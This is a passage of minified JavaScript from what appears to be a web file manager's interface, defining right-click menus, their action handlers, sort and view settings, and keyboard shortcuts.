ctor:".menuSharePath",callback:function(e){T(e)},items:{share_open_path:{name:LNG.open_the_path,icon:"folder-open-alt",accesskey:"p",className:"open_the_path"},share_open_window:{name:LNG.share_open_page,icon:"globe",accesskey:"b"},sep0:"--------",share_edit:{name:LNG.share_edit,icon:"edit",accesskey:"e",className:"share_edit"},remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep2:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuSharePathMore",className:"menuSharePathMore",callback:function(e){T(e)},items:{remove:{name:LNG.share_remove+"Del",icon:"trash",accesskey:"d",className:"remove"},copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"}}})},_=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,i){C(e,i)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",listIcon:d.listIcon,sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,sep10:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},g=function(){$.contextMenu({selector:".menuEmpty",className:"hidden",zIndex:9999,items:{" ":{name:LNG.open,className:"hidden"}},callback:function(){}})},b=function(){$.contextMenu({selector:".menuDefault",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(e){switch(e){case"open":ui.path.open();break;default:}}})},y=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(e){C(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,sep1:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},copy_see:{name:LNG.clipboard,className:"copy_see",icon:"eye-open",accesskey:"v"},sep2:"--------",sortBy:d.sortBy,setFileIconSize:d.setFileIconSize,app_install:{name:LNG.app_store,className:"app_install",icon:"tasks",accesskey:"a"},sep10:"--------",setting_wall:{name:LNG.setting_wall,className:"setting_wall",icon:"picture",accesskey:"b"},setting_theme:{name:LNG.setting_theme,className:"setting_theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},x=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe",accesskey:"b"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"},createProject:{name:LNG.createProject,className:"createProject",icon:"plus"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},k=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},app_edit:{name:LNG.app_edit,className:"app_edit",icon:"code",accesskey:"a"},open_text:{name:LNG.edit+"Ctrl+E",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},unzip:{name:LNG.unzip,icon:"folder-open-alt",className:"unzip",accesskey:"u",items:{unzip_this:{name:LNG.unzip_this,icon:"external-link"},unzip_folder:{name:LNG.unzip_folder,icon:"external-link"},unzip_to:{name:LNG.unzip_to,icon:"external-link"}}},setBackground:{name:LNG.set_background,className:"setBackground",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more_action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------",zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},createLink:{name:LNG.createLink,className:"createLink",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},w=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,className:a.substr(1),callback:function(e){T(e)},items:{copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------",copy_to:{name:LNG.copy_to,className:"copy_to",icon:"copy"},cute_to:{name:LNG.cute_to,className:"cute_to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C",className:"clone",icon:"external-link",accesskey:"n"},playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},zip:{name:LNG.zip,className:"zip",icon:"folder-close",accesskey:"z"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRoot",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuGroupRootMore",callback:function(e){T(e)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPath",callback:function(e){T(e)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------",fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuFavPathMore",className:"menuFavPathMore",callback:function(e){T(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"}}})},C=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"setlist_split":ui.setListType("list_split");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"upload":core.upload();break;case"recycle_clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"past":ui.path.past();break;case"copy_see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile_null":ui.path.newFile("");break;case"newfile_md":ui.path.newFile("md");break;case"newfile_html":ui.path.newFile("html");break;case"newfile_php":ui.path.newFile("php");break;case"newfile_js":ui.path.newFile("js");break;case"newfile_css":ui.path.newFile("css");break;case"newfile_oexe":ui.path.newFile("oexe");break;case"newfile_docx":ui.path.newFile("docx");break;case"newfile_xlsx":ui.path.newFile("xlsx");break;case"newfile_pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app_install":ui.path.appList();break;case"app_create":ui.path.appEdit(!0);break;case"setting":core.setting();break;case"setting_theme":core.setting("theme");break;case"setting_wall":core.setting("wall");break;default:}},T=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open_ie":ui.path.openWindow();break;case"open_text":ui.path.openEditor();break;case"app_edit":ui.path.appEdit();break;case"playmedia":ui.path.play();break;case"share_edit":ui.path.shareEdit();break;case"share_open_window":ui.path.shareOpenWindow();break;case"share_open_path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"cute":ui.path.cute();break;case"cute_to":ui.path.cuteTo();break;case"copy_to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"zip":ui.path.zip();break;case"unzip_folder":ui.path.unZip();break;case"unzip_this":ui.path.unZip("to_this");break;case"unzip_to":ui.path.unZip("unzip_to_folder");break;case"setBackground":ui.path.setBackground();break;case"createLinkHome":ui.path.createLink(!1);break;case"createLink":ui.path.createLink(!0);break;case"createProject":ui.path.createProject();break;case"openProject":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorerNew":ui.path.explorerNew();break;case"fav_page":core.setting("fav");break;case"fav_remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:}},S=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFavRoot",callback:function(e){A(e)},items:{fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menuTreeFav",callback:function(e){A(e)},items:{fav_remove:{name:LNG.fav_remove,className:"fav_remove",icon:"trash",accesskey:"r"},fav_page:{name:LNG.manage_fav,className:"fav_page",icon:"star",accesskey:"f"},sep2:"--------",createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},j=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},z=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'',className:"info",icon:"info",accesskey:"i"}}})},P=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){A(e)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfileOther:d.newfileOther,search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------",explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},E=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:r,callback:function(e){A(e)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},D=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:l,callback:function(e){A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},F=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,callback:function(e,i){var t=i.$trigger;t.hasClass("file")?T(e):A(e)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:s,callback:function(e){A(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",open_ie:{name:LNG.open_ie,className:"open_ie",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more_action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},createLinkHome:{name:LNG.createLinkHome,className:"createLinkHome",icon:"location-arrow",accesskey:"l"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},A=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute_to":ui.tree.cuteTo();break;case"copy_to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open_ie":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile_html":ui.tree.create("html");break;case"newfile_php":ui.tree.create("php");break;case"newfile_js":ui.tree.create("js");break;case"newfile_css":ui.tree.create("css");break;case"newfile_oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"fav_page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"createLinkHome":ui.tree.createLink(!1);break;case"fav_remove":ui.tree.favRemove();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initDesktop:u,initExplorer:p,initEditor:f,show:function(e,i,t){e&&(rightMenu.hidden(),$(e).contextMenu({x:i,y:t}))},menuShow:function(){var e="hidden",i=$(".context-menu-list").filter(":visible"),t=$(".context-menu-active");if(0!=i.length&&0!=t.length){if(i.find(".disable").addClass("disabled"),t.hasClass("menufile")){var a=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==a?i.find(".unzip").removeClass(e):i.find(".unzip").addClass(e),inArray(core.filetype.image,a)?i.find(".setBackground").removeClass(e):i.find(".setBackground").addClass(e),"oexe"==a?i.find(".app_edit").removeClass(e):i.find(".app_edit").addClass(e),inArray(core.filetype.image,a)||inArray(core.filetype.music,a)||inArray(core.filetype.movie,a)||inArray(core.filetype.bindary,a)?i.find(".open_text").addClass(e):i.find(".open_text").removeClass(e)}if(t.hasClass("menufolder")||t.hasClass("menufile")||t.hasClass("menuTreeFolder")||t.hasClass("menuTreeFile")){var n="disabled",o=".cute,.rname,.remove,.zip",s=".open,.open_text,.down,.share,.copy,.cute,.rname,.remove,.open_ie,.zip,.unzip,.search,.more_action";t.hasClass("file_not_readable")?i.find(s).addClass(n):i.find(s).removeClass(n),t.hasClass("file_not_writeable")?i.find(o).addClass(n):i.find(o).removeClass(n)}if(t.hasClass("dialog_menu")){var r=t.attr("id"),l=$.dialog.list[r];l.has_frame()?(i.find(".open_window").removeClass(e),i.find(".refresh").removeClass(e),i.find(".qrcode").removeClass(e)):(i.find(".open_window").addClass(e),i.find(".refresh").addClass(e),i.find(".qrcode").addClass(e))}if(t.hasClass("menuMore")){var c=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(c+=1)}),0==c?i.find(".playmedia").addClass(e):i.find(".playmedia").removeClass(e)}}},isDisplay:function(){return 0==$(".context-menu-list:visible").length?!1:!0},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var i=$(".frame-right-main .tools").outerHeight();"list"==e&&(i+=26),$(".frame-header").is(":visible")&&(i+=$(".frame-header").outerHeight()),$(".bodymain").css("top",i)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,i){0!=e?(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")):e=G.user_config.list_sort_field,0!=i?(G.user_config.list_sort_order=i,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+i).addClass("selected")):i=G.user_config.list_sort_order,LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",i),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+i})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var i=LNG.config_save_error_file;core.authCheck("setting:set")||(i=LNG.config_save_error_auth),Tips.tips(i,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink(!0);break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),i=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/i)},getPagefileNumber=function(){var e=getRowfileNumber(),i=$(Config.BodyContent).outerHeight(),t=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(i/t)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,i=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/i)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,i=0,t="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==i?(i=timeFloat(),t=o,e=setTimeout(function(){ui.path.setSelectByChar(t),i=0 -},a),void 0):o==t.substr(-1)?(ui.path.setSelectByChar(t),i=0,void 0):(a>timeFloat()-i&&(i=timeFloat(),t+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(t),i=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,i){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),i){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(i);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var i=$("#PV_Items li.current img").attr("src"),t="image&path=",a=i.substr(i.search(t)+t.length),n=$('[src="'+i+'"],[data-original="'+i+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var t=function(e){var i="&picture=",t=e.search(i);return-1===t?e+i+UUID():e.substr(0,t)+i+UUID()},a=t(i),o=t($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,i=20,t=parseInt($(".file").css("height")),a=t-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(t+n)),l=0,c=0,d=0,p=0,u=(s-e-r*(t+n)-n)/r;u>0&&(n+=u),$(".fileContiner .file").css("position","absolute"),$(".fileContiner 